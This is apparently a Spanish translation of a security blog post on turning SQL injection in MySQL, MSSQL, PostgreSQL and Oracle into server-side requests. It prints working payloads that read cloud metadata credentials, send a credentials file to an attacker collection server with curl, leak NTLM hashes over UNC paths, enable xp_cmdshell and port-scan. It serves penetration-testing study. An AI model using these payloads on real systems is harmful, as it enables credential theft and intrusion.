Uso de SQL Injection para realizar ataques SSRF/XSPA

https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#limited-ssrf-using-masterxp_dirtree-and-other-file-stored-procedures

https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet

https://github.com/Y000o/Sql_injection_medium-advanced.md/blob/main/Sql_injection_medium-advanced_en.md#XSS-persistente

Una publicación de blog sobre algunos escenarios posteriores a la explotación con MySQL, MSSQL, PostgreSQL y Oracle que usan SQL Injection para realizar solicitudes de red que resultan en falsificación de solicitudes del lado del servidor/ataques de puertos entre sitios.

Puedes saltar a la sección que te interese

Introducción

SQL Injection es una vulnerabilidad de seguridad bien conocida, investigada y publicitada que se ha utilizado para atacar aplicaciones web y robar datos de bases de datos back-end durante varias décadas. Los escenarios posteriores a la explotación con inyecciones de SQL comúnmente conducen, además de la capacidad de interactuar con la base de datos, a la capacidad de leer archivos, escribir archivos y, a veces, ejecutar comandos del sistema operativo.

Todas las bases de datos modernas tienen funciones integradas o la capacidad de crear procedimientos que brindan cierto nivel de acceso a la red. Estos se utilizan para operaciones relacionadas con bases de datos, generalmente para obtener datos de un archivo en un recurso compartido de red o en Internet o para iniciar conexiones a otros servidores, etc.

Como atacantes, SQL Injection a menudo nos brinda la capacidad de interactuar con la base de datos y llamar a estas funciones. Nuevamente, estos están bien documentados en una categoría de técnicas de extracción de datos llamada Explotación fuera de banda donde los datos se extraen a través de canales DNS o HTTP.

Esta publicación destaca funciones, paquetes, métodos y técnicas en 4 de los software RDBMS más populares: MySQL, MSSQL, PostgreSQL y Oracle, que se pueden usar a través de una inyección SQL o a través de una conexión directa a la base de datos para realizar solicitudes de red que resultan en Solicitud del lado del servidor (falsificaciones).

¿Por qué vale la pena el esfuerzo de nuevo?

Imagine que ha encontrado una inyección SQL en una aplicación web en Internet. Los registros DNS muestran que esto se encuentra en AWS. SQL Injection en una aplicación web en AWS no es diferente a cualquier otra aplicación web. ¿Qué puede hacer como parte de la explotación posterior, además de la extracción de datos?

Una de las cosas clave que persigo personalmente cuando pruebo aplicaciones en AWS es la posibilidad de que la aplicación me permita interactuar con el servicio de metadatos de la instancia. Hay muchas cosas interesantes que puede hacer, si obtiene tokens privilegiados de la instancia generada mediante un rol de IAM adjunto .

Como atacante, una de las formas de pasar de atacar el servidor de aplicaciones o la base de datos a atacar toda la infraestructura de AWS requerirá la capacidad de generar y extraer credenciales del servicio de metadatos de la instancia. A menudo, esto es sencillo de hacer desde un SSRF estándar, pero ¿hay alguna manera de hacerlo usando una inyección SQL? Esta publicación de blog intenta proporcionar algunas de las posibles formas de realizar solicitudes de red y leerlas, todas mediante consultas SQL, en diferentes software de base de datos.

Algunas suposiciones

Tenemos que hacer algunas suposiciones clave aquí. Aunque muchas de estas suposiciones pueden no ser ciertas y aún podría realizar variaciones de lo que se cubre aquí para realizar las solicitudes de red.

  1. La base de datos back-end que la aplicación consulta y usa como almacén de datos no es un servicio administrado como RDS o Azure Database. Estos servicios no brindan acceso completo a las funciones ni restringen los privilegios de los usuarios de la base de datos de tal manera que las operaciones de archivos o de red estén restringidas por diseño. Por ejemplo, el usuario de AWS RDS no tiene FILE_PRIV aunque parece tener acceso administrativo completo a la base de datos.

  2. El conector de la base de datos que se utiliza en la aplicación (y, posteriormente, la propia base de datos) admite consultas apiladas (múltiples). No es un requisito estricto per se, pero hace la vida mucho más fácil si las consultas se pueden apilar una tras otra. Esto simplemente significa que al usar SQL Injection deberíamos poder ejecutar múltiples consultas usando un separador de consultas de base de datos, por ejemplo:' or 1 in (SELECT @@version);UPDATE users set user='newuser' where id=5; -- //

  3. Se permite la conectividad de red saliente. Este no es un requisito estricto, especialmente cuando su único objetivo es usar SQL Injection para acceder al servicio de metadatos de la instancia accesible en http://169.254.169.254/.

Las técnicas mencionadas en esta publicación se pueden usar a través de una inyección SQL a través de una aplicación web/de red o conectándose directamente a un servidor de base de datos usando un cliente, ya que solo se cubren las funciones y enfoques de la base de datos relevantes. La creación de consultas o subconsultas que funcionarán a través de un punto de inyección se deja al lector, ya que son muy contextuales.

MySQL/MariaDB/Percona

Aunque difieren en muchos aspectos en lo que respecta a licencias, protocolos y seguridad , los tres admiten funciones/técnicas comunes que se pueden usar para realizar solicitudes del lado del servidor.

Usando LOAD_FILE/LOAD DATA/LOAD XML

Cada artículo de exfiltración de datos SQL fuera de banda utilizará la LOAD_FILE()función de cadena para realizar una solicitud de red. La función en sí tiene sus propias limitaciones según el sistema operativo en el que se ejecuta y la configuración con la que se inició la base de datos.

Por ejemplo, si secure_file_privno se configuró la variable global, el valor predeterminado se establece en/var/lib/mysql-files/ , lo que significa que solo puede usar funciones como LOAD_FILE('filename')o LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablenamepara leer archivos del /var/lib/mysql-files/directorio. Para poder realizar lecturas en archivos fuera de este directorio, la secure_file_privopción debe establecerse en ""lo que solo se puede hacer actualizando el archivo de configuración de la base de datos o pasando como --secure_file_priv=""parámetro de inicio al servicio de la base de datos.

Sin embargo, en circunstancias en las que secure_file_privse establece en "", deberíamos poder leer otros archivos en el sistema, suponiendo permisos de lectura de archivos y file_privestá configurado Ypara mysql.userel usuario actual de la base de datos. Sin embargo, poder usar estas funciones para hacer llamadas de red depende mucho del sistema operativo. Como estas funciones están diseñadas solo para leer archivos, las únicas llamadas relevantes de la red que se pueden realizar son las rutas UNC en los hosts de Windows, ya que la API de Windows CreateFileAque se llama al acceder a un archivo comprende las convenciones de nomenclatura UNC .

Por lo tanto, si su base de datos de destino se ejecuta en una máquina con Windows, la consulta de inyección x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //daría como resultado que la máquina con Windows envíe hashes NTLMv2 en un intento de autenticarse con el atacante controlado\\attackerserver.example.com .

Esta falsificación de solicitud del lado del servidor, aunque útil, está restringida solo al puerto TCP 445. No puede controlar el número de puerto, pero puede leer información de la configuración de recursos compartidos con privilegios de lectura completos. Además, como se ha demostrado con investigaciones anteriores, puede usar esta capacidad limitada de SSRF para robar hashes y retransmitirlos para obtener shells, por lo que definitivamente es útil.

Uso de funciones definidas por el usuario

Otra técnica interesante con las bases de datos MySQL es la capacidad de usar funciones definidas por el usuario (UDF) presentes en archivos de bibliotecas externas que, si están presentes en ubicaciones específicas o $PATH del sistema, se puede acceder desde MySQL.

Puede usar una inyección SQL para escribir una biblioteca ( .soo .dlldependiendo de Linux o Windows), que contenga una función definida por el usuario que pueda realizar solicitudes de red/HTTP, que luego se pueden invocar a través de consultas adicionales.

Sin embargo, esto tiene su propio conjunto de restricciones. Según la versión de MySQL, con la que puede identificarse select @@version, el directorio desde donde se pueden cargar los complementos está restringido. MySQL a continuación v5.0.67permitió que los archivos de la biblioteca se cargaran desde la ruta del sistema si la plugin_dirvariable no estaba configurada. Esto ha cambiado ahora y las versiones más nuevas tienen la plugin_dirvariable establecida en algo como /usr/lib/mysql/plugin/, que generalmente es propiedad de root.

Básicamente, para cargar una biblioteca personalizada en MySQL y llamar a una función desde la biblioteca cargada a través de SQL Injection, necesitaría el

  • capacidad de escribir en la ubicación especificada a @@plugin_dirtravés de SQL Injection

  • file_privestablecido Yen mysql.userpara el usuario actual de la base de datos

  • secure_file_privconfigurado para ""que pueda leer los bytes sin formato de la biblioteca desde una ubicación arbitraria como la red o un directorio de carga de archivos en una aplicación web.

Suponiendo que se cumplan las condiciones anteriores, puede utilizar el enfoque clásico de transferir la popular lib_mysqludf_sysbiblioteca MySQL UDF al servidor de la base de datos. Entonces podrá realizar solicitudes de comandos del sistema operativo como cURLo powershell wgetrealizar SSRF usando la sintaxis

x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

Hay muchas otras funciones declaradas en esta biblioteca, cuyo análisis se puede ver aquí . Si es perezoso como yo, puede obtener una copia de esta biblioteca UDF, para el sistema operativo de destino, desde una instalación de metasploit desde el /usr/share/metasploit-framework/data/exploits/mysql/directorio y comenzar.

Como alternativa, se han creado bibliotecas UDF para proporcionar específicamente a la base de datos la capacidad de realizar solicitudes HTTP. Puede usar la función definida por el usuario de MySQL (UDF) para HTTP GET/POST para obtener la base de datos para realizar solicitudes HTTP, usando la siguiente sintaxis

x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

También puede crear su propio UDF y usarlo también para la explotación posterior.

En cualquier caso, debe transferir la biblioteca al servidor de la base de datos. Puedes hacer esto de varias maneras.

  1. Use la hex()función de cadena MySQL o algo así xxd -p filename.so | tr -d '\n'para convertir el contenido de la biblioteca a formato hexadecimal y luego volcarlo en el @@plugin_dirdirectorio usandox'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //

  2. Alternativamente, convierta el contenido de filename.soa base64 y usex';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //

Si @@plugin_dirno se puede escribir, entonces no tiene suerte si la versión es anterior v5.0.67. De lo contrario, escriba en una ubicación diferente que esté en la ruta y cargue la biblioteca UDF desde allí usando

  • para la lib_mysqludf_sysbiblioteca-x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //

  • para la mysql-udf-httpbiblioteca-x';create function http_get returns string soname 'mysql-udf-http.so'; -- //

Para automatizar esto, puede usar SQLMap que admite el uso de UDF personalizado a través de la --udf-injectopción .

Para las inyecciones ciegas de SQL, puede redirigir la salida de las funciones UDF a una tabla temporal y luego leer los datos desde allí o usar la solicitud de DNS de contrabando dentro de un comando sys_evalosys_exec curl .

Oráculo

El uso de Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como un medio para filtrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otras SSRF/XSPA.

La instalación de Oracle puede ser muy dolorosa, especialmente si desea configurar una instancia rápida para probar los comandos. Mi amigo y colega en Appsecco , Abhisek Datta , me señaló https://github.com/MaksymBilenko/docker-oracle-12c que me permitió configurar una instancia en una máquina t2.large AWS Ubuntu y Docker.

Ejecuté el comando docker con la --network="host"bandera para poder imitar a Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación de blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c 

Paquetes de Oracle que admiten una URL o una especificación de nombre de host/número de puerto

Para encontrar paquetes y funciones compatibles con una especificación de host y puerto, realicé una búsqueda en Google en la documentación en línea de Oracle Database . Específicamente,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La búsqueda arrojó los siguientes resultados (no todos se pueden usar para realizar la red de salida)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_PROGRAMADOR

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Esta búsqueda cruda obviamente omite paquetes como DBMS_LDAP(que permite pasar un nombre de host y un número de puerto) ya que la página de documentación simplemente lo dirige a una ubicación diferente . Por lo tanto, es posible que haya otros paquetes de Oracle de los que se pueda abusar para realizar solicitudes salientes que se me hayan pasado por alto.

En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.

DBMS_LDAP.INIT

El DBMS_LDAPpaquete permite el acceso a los datos de los servidores LDAP. La init()función inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.

Esta función se ha documentado antes para mostrar la filtración de datos a través de DNS, como se muestra a continuación.

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puede usar esto para que funcione como un escáner de puertos.

Aquí están algunos ejemplos

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.muestra que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto.

UTL_SMTP

El UTL_SMTPpaquete está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo provisto en el sitio de documentación de Oracle muestra cómo puede usar este paquete para enviar un correo electrónico . Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificación de host y puerto.

A continuación se muestra un ejemplo crudo con la UTL_SMTP.OPEN_CONNECTIONfunción, con un tiempo de espera de 2 segundos

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeoutmuestra que el puerto está abierto pero no se estableció ninguna conexión SMTP mientras que ORA-29278: SMTP transient error: 421 Service not availablemuestra que el puerto está cerrado.

UTL_TCP

El UTL_TCPpaquete y sus procedimientos y funciones permiten la comunicación basada en TCP/IP con los servicios . Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de ingresar a la red o realizar solicitudes completas del lado del servidor, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.

El ejemplo en el sitio de documentación de Oracle muestra cómo puede usar este paquete para hacer una conexión TCP sin procesar para obtener una página web . Podemos simplificarlo un poco más y usarlo para realizar solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.

set serveroutput on size 30000;
SET SERVEROUTPUT ON 
DECLARE c utl_tcp.connection;
  retval pls_integer; 
BEGIN
  c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
  retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
  retval := utl_tcp.write_line(c);
  BEGIN
    LOOP
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    END LOOP;
  EXCEPTION
    WHEN utl_tcp.end_of_input THEN
      NULL;
  END;
  utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
  retval pls_integer; 
BEGIN
  c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
  retval := utl_tcp.write_line(c);
  BEGIN
    LOOP
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    END LOOP;
  EXCEPTION
    WHEN utl_tcp.end_of_input THEN
      NULL;
  END;
  utl_tcp.close_connection(c);
END;

Curiosamente, debido a la capacidad de crear solicitudes TCP sin procesar, este paquete también se puede usar para consultar el servicio de metadatos de la instancia de todos los proveedores de la nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.

UTL_HTTP y solicitudes web

Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección SQL de Oracle fuera de banda es el UTL_HTTPpaquete . Este paquete está definido por la documentación como -The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Además, podría usar esto para realizar un escaneo de puertos rudimentario también con consultas como

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

A ORA-12541: TNS:no listenero a TNS:operation timed outes una señal de que el puerto TCP está cerrado, mientras que a ORA-29263: HTTP protocol erroro data es una señal de que el puerto está abierto.

Otro paquete que he usado en el pasado con éxito variado es el método de tipo abstracto de Oracle que le permite interactuar con una URL y brinda soporte para el protocolo HTTP. El método se utiliza para obtener la respuesta GET de una URL como un tipo de datos CLOB. GETCLOB()HTTPURITYPEGETCLOB()

select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;MSSQL

Microsoft SQL Server proporciona múltiples procedimientos almacenados extendidos que le permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso con el Registro de Windows .

Una técnica que sigue surgiendo es el uso del procedimiento almacenado no documentado xp_dirtreeque le permite listar los directorios en una carpeta. Este procedimiento almacenado admite rutas UNC, de las que se puede abusar para filtrar credenciales de Windows a través de la red o extraer datos mediante solicitudes de DNS.

Si puede ejecutar comandos del sistema operativo, puede invocar Powershell para realizar una Invoke-WebRequestsolicitud curl (). xp_cmdshellTambién puede hacer esto a través del favorito de los piratas informáticos .

Alternativamente, también podría usar una función definida por el usuario en MSSQL para cargar una DLL y usar la dll para realizar la solicitud directamente desde dentro de MSSQL.

Veamos las técnicas anteriores con un poco más de detalle.

SSRF limitado usando master..xp_dirtree (y otros procedimientos almacenados en archivos)

El método más común para realizar una llamada de red con el que se encontrará usando MSSQL es el uso del procedimiento almacenado xp_dirtree, que extrañamente no está documentado por Microsoft, lo que provocó que otras personas lo documentaran en Internet . Este método se ha utilizado en múltiples ejemplos de publicaciones de exfiltración de datos fuera de banda en Internet.

Esencialmente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);  
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Al igual que MySQL LOAD_FILE, puede usar xp_dirtreepara realizar una solicitud de red solo al puerto TCP 445. No puede controlar el número de puerto, pero puede leer información de los recursos compartidos de red. Además, al igual que cualquier acceso de ruta UNC, los hashes de Windows se enviarán a la red que se pueden capturar y reproducir para una mayor explotación .

PD: Esto no funciona al Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)ejecutarse en Windows Server 2016 Datacenteruna configuración predeterminada.

También hay otros procedimientos almacenados comomaster..xp_fileexist etc. que se pueden usar para obtener resultados similares.

maestro..xp_cmdshell

El procedimiento almacenado extendido xp_cmdshellgenera un shell de comandos de Windows y ejecuta la cadena que se le pasa, devolviendo las filas de texto . Este comando se ejecuta como la cuenta de servicio de SQL Server.

xp_cmdshellestá deshabilitado por defecto. Puede habilitarlo mediante la opción de configuración de SQL Server. Así es cómo

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
exec master..xp_cmdshell 'whoami'
GO

Puede usar algo como PowerCat , descargar el puerto de Windows de netcat/ncat, usar un cliente TCP sin procesar para puertos arbitrarios o simplemente invocar Powershell Invoke-WebRequestpara realizar solicitudes HTTP para realizar consultas del lado del servidor.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""''');
GO

Además, puede pasar otros encabezados y cambiar el método HTTP para acceder a datos en servicios que necesitan POST o PUT en lugar de GET como en el caso de IMDSv2 para AWS o un encabezado especial como en el caso de Azure o Metadata: trueGCP Metadata-Flavor: Google. .

Función definida por el usuario de MSSQL - SQLHttp

Es bastante sencillo escribir una CLR UDF (Common Language Runtime User Defined Function: código escrito con cualquiera de los lenguajes .NET y compilado en una DLL) y cargarlo dentro de MSSQL para funciones personalizadas. Sin embargo, esto requiere dboacceso, por lo que es posible que no funcione a menos que la aplicación web se conecte a la base de datos como saun rol de administrador.

Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el archivo binario en MSSQL como un ensamblaje CLR y luego invocar solicitudes HTTP GET desde MSSQL.

El http.cscódigo usa la WebClientclase para realizar una solicitud GET y obtener el contenido como se especifica

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
    [Microsoft.SqlServer.Server.SqlFunction]
    public static SqlString http(SqlString url)
    {
        var wc = new WebClient();
        var html = wc.DownloadString(url.Value);
        return new SqlString (html);
    }
}

En las instrucciones de instalación, ejecute lo siguiente antes de la CREATE ASSEMBLYconsulta para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista usando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Una vez que se agrega el ensamblaje y se crea la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

postgresql

También conocido como Postgres, es un RDBMS gratuito y de código abierto. Esta base de datos contiene múltiples funciones y tiene soporte para realizar búsquedas en la red utilizando extensiones que se pueden habilitar con derechos de superusuario.

Además, las funciones de Acceso a archivos genéricos son similares pg_read_file()y pg_read_binary_file()existen , pero no se pueden usar para leer rutas UNC u otros archivos, ya que estas funciones están restringidas para leer solo dentro del data_directoryvalor de la variable.

Aquí hay algunas otras formas en que podemos invocar solicitudes de red desde un servidor PostgresSQL.

Uso de la función COPIAR

Postgres admite otras formas de interactuar con el sistema de archivos que, en el caso de los servidores de Windows, se pueden usar para realizar solicitudes SSRF a rutas UNC. Por ejemplo, el COPYcomando se puede usar para copiar datos entre un archivo y una tabla y es compatible tanto con COPY TOarchivos como con COPY FROM.

Como ejemplo, puede ejecutar copy (select 1) to '/tmp/bb.txt';. Esto creará un archivo /tmp/bb.txtcon el contenido 1. Desafortunadamente, no puede usar COPY TOpara escribir una biblioteca de extensión $libdirporque el $libdirdirectorio y el proceso del servidor de la base de datos son propiedad de dos usuarios diferentes.

Sin embargo, el caso de uso más interesante de la COPYfunción es su capacidad para llamar a programas externos. Sorprendentemente, la documentación no incluye referencias a esta habilidad, puede usar COPYpara invocar un programa externo como curlpor ejemplo.

Si los datos devueltos por la ejecución del programa no tienen el formato CSV adecuado, se producirán errores de importación. Sin embargo, eso no debería impedirnos ejecutar programas y realizar solicitudes, ya que siempre podemos enviar el resultado de un programa a un servidor controlado por un atacante y leerlo a través de los registros.

Para COPYusar SSRF, podemos ejecutar la siguiente secuencia de comandos para configurar una tabla vacía (para evitar errores) y luego ejecutar cURL para recuperar y enviar datos a un servidor de recopilación. El servidor de recopilación es una implementación simple de python3 http.serverque registra las variables GET y POST .

CREATE TABLE test();
COPY test from PROGRAM 'curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ ';
COPY test from PROGRAM 'curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole -o /tmp/creds';
COPY test from PROGRAM 'curl -F "data=@/tmp/creds" http://attacker-collection-server/';

Los registros del servidor de recopilación mostrarán el contenido del /tmp/credsarchivo publicado desde dentro de Postgres

Dado que esto nos permite la ejecución cURLen todo su esplendor, incluso podemos usarlo para consultar el servicio de metadatos de instancia de todos los proveedores de la nube, ya que el tipo de método y los encabezados adicionales se pueden pasar como argumentos a cURL.

Alternativamente, hay formas documentadas de usar COPY FROMpara realizar una fuga de hash NTLM y para realizar una explotación de inyección SQL fuera de banda, pero no tuve suerte con eso en la PostgreSQL 10.13 on a Windows 10.0.18362caja. Obviamente, se supone que funcionan en cajas de Windows, ya que las rutas UNC son una cosa de Windows. Las consultas que deberían funcionar y filtrar créditos o realizar OOBE se muestran a continuación

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ 
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN 
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

El dblinkes un módulo que admite conexiones a otras bases de datos PostgreSQL desde dentro de una sesión de base de datos. Admite numerosas funciones para abrir conexiones de bases de datos a servidores remotos y realizar acciones en ellos.

De las funciones enumeradas en https://www.postgresql.org/docs/9.6/dblink.html, la dblink_connect_u()destaca del contexto de un atacante. Según la documentación, dblink_connect_u()es idéntico a dblink_connect(), excepto que permitirá que los usuarios que no sean superusuarios se conecten mediante cualquier método de autenticación .

Todas las funciones que admiten el uso de una connstrcadena en la llamada de función se pueden usar para configurar el host remoto y el puerto para la conexión de la base de datos . Aunque no puede controlar los datos que se envían al servidor remoto, puede identificar qué puertos están abiertos.

Para abusar de esta función para escanear puertos en servidores internos o servidores en Internet, use la siguiente sintaxis

CREATE extension dblink; SELECT dblink_connect_u('host=scanme.nmap.org port=22 sslmode=disable');

Para puertos abiertos, Postgres responderá con lo siguiente o una variante de

ERROR:  could not establish connection
DETAIL:  expected authentication request from server, but received S

Para puertos cerrados, se muestra un mensaje como el siguiente

ERROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
	Is the server running on host "scanme.nmap.org" (45.33.32.156) and accepting
	TCP/IP connections on port 5000?
could not connect to server: Network is unreachable
	Is the server running on host "scanme.nmap.org" (2600:3c01::f03c:91ff:fe18:bb2f) and accepting
	TCP/IP connections on port 5000?

Las dblinkfunciones también se utilizan a menudo para realizar ataques de exfiltración de datos de inyección SQL a través de DNS.

Uso de extensiones personalizadas

Las extensiones personalizadas son una forma genial de agregar funcionalidad a Postgres. Puede crear su propia extensión y agregarla a Postgres, pero eso implica que escriba un Makefile estándar, un archivo de control, una biblioteca y luego coloque la biblioteca en Postgres $libdir(que el 10 está en /usr/lib/postgresql/10/lib) .

Alternativamente, puede escribir la extensión y cargarla en tiempo de ejecución usando CREATE FUNCTIONen lugar de cargarla usando CREATE EXTENSION.

Para crear su propia extensión personalizada como atacante, necesita, como mínimo, un Makefile, un archivo de control y el programa C que contiene el código de la extensión. Necesitará los archivos de encabezado, las herramientas de creación de extensiones y el administrador de clústeres de base de datos que se puede configurar con

sudo apt-get install libpq-dev
sudo apt-get install postgresql-server-dev-all
sudo apt-get install postgresql-common

Luego puede cargar una función desde la extensión usando una sintaxis similar a la siguiente

CREATE OR REPLACE FUNCTION pg_runcmd(cstring) RETURNS int AS '/tmp/extension.so', 'pg_runcmd' LANGUAGE C STRICT;

donde pg_runcmdse implementa una función de C en extension.so.

No tuve mucha suerte al cargar una extensión C simple, ya que seguía recibiendo un Extension libraries are required to use the PG_MODULE_MAGIC macroerror, incluso cuando el código C tiene la macro presente. Si algún lector puede hacer que esto funcione, ¡sería increíble! El código para una extensión que estaba tratando de escribir que debería permitir la ejecución de comandos está enhttps://github.com/riyazwalikar/postgres-runcmd-extension . ¡Esto está lejos de estar completo!

En cualquier caso, hay extensiones disponibles que le permiten realizar HTTP GET, POST y más solicitudes desde la base de datos. Un ejemplo muy interesante es https://github.com/pramsey/pgsql-http . Esta extensión se usa libcurlpara realizar solicitudes HTTP y admite muchas funciones con soporte para realizar solicitudes personalizadas también. aquí hay un ejemplo

SELECT content FROM http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/');

SELECT content FROM http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole');

Las limitaciones obvias de esto son

  • La pgsql-httpextensión (o cualquier otra extensión, a menos que ya esté presente en el $pglibdirsegún pg_config) no se puede cargar sin que estén instalados en el sistema

  • la instalación requiere acceso de shell raíz

  • podría usar la ruta externaCREATE FUNCTION y para cargar una biblioteca y llamar a una función en ella (al igual que los UDF de MySQL), pero me encontré con errores que decían al llamar a la función después de que supuestamente se creó con éxitoobj_fileERROR: could not lookup 'http' extension oid

Entonces, por ahora, ejecute SELECT * FROM pg_available_extensions;para ver qué extensiones están disponibles y utilícelas CREATE Extensionpara cargar algo que le resulte útil para su caso de uso. Por ejemplo, se sabe que la xml2extensión es vulnerable a lecturas y escrituras arbitrarias de archivos en el pasado .

Pensamientos finales

Las falsificaciones de solicitudes del lado del servidor son una clase divertida de vulnerabilidades para explotar y no están restringidas solo a ataques realizados a través de aplicaciones web. Como se ve en los ejemplos cubiertos en esta publicación, SSRF/XSPA puede afectar a cualquier sistema en el que el servidor establezca una conexión de red con el host proporcionado por el usuario (o/y el número de puerto). Al igual que los ejemplos de bases de datos enumerados anteriormente, otras categorías de productos de software también serán vulnerables si la entrada del usuario no se sanea contextualmente.

Referencias, todas las URL de la publicación y lecturas adicionales

Last updated